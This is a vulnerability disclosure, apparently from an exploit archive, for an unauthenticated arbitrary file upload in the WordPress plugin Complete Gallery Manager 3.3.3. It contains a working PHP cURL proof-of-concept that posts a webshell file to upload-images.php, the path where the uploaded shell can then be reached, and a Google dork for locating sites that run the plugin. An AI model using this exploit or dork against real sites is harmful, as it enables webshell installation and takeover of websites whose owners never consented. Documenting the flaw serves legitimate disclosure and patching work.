WordPress Plugin Complete Gallery Manager 3.3.3 – Arbitrary File Upload Vulnerability

A arbitrary file upload web vulnerability is detected in the CodeCanyon WordPress Plugin Complete Gallery Manager v3.3.3 Web-Application.

The vulnerability allows remote attackers to upload files via POST method with multiple extensions to unauthorized access them on
application-side of the service.
The vulnerability is located in the /plugins/complete-gallery-manager/frames/ path when processing to upload via the  upload-images.php
file own malicious context or webshells. After the upload the remote attacker can access the file with one extension and exchange it with the
other one to execute for example php codes.
Exploitation of the vulnerability requires no user interaction and also without privilege application user account (no password standard).
Successful exploitation of the vulnerability results in unauthorized path or file access via local file include or arbitrary file upload.
Vulnerable Application(s):
                [+] CodeCanyon - Complete Gallery Manager
Vulnerable Module(s):
                [+] Image File Upload
Vulnerable File(s):
                [+] upload-images.php
Affected Module(s):
                [+] Application Index Listing (http://localhost:8000/)
Proof of Concept:
=================
The arbitrary file upload web vulnerability can be exploited by remote attackers without user interaction or privileged application user account.
For demonstration or reproduce ...
Vuln page :
http://wordpress.localhost:8080/wordpress/wp-content/plugins/complete-gallery-manager/frames/upload-images.php
Exploit :
<?php
$uploadfile="up.php";
$ch = curl_init("http://wordpress.localhost:8080/wordpress/wp-content/plugins/complete-gallery-manager/frames/upload-images.php");
curl_setopt($ch, CURLOPT_POST, true);  
curl_setopt($ch, CURLOPT_POSTFIELDS,
        array('qqfile'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";
?>
Shell Upload Access Path : http://wordpress.localhost:8080/wp-content/2013/09/up.php
Google Dork: allinurl:/wp-content/plugins/complete-gallery-manager/
Reference(s):
http://xxx.com/wp-content/plugins/complete-gallery-manager/frames/upload-images.php
http://www.xxx.com/wp-content/plugins/complete-gallery-manager/frames/upload-images.php
http://xxx.org/wp-content/plugins/complete-gallery-manager/frames/upload-images.php
Risk:
=====
The security risk of the arbitrary file upload web vulnerability is estimated as high(+).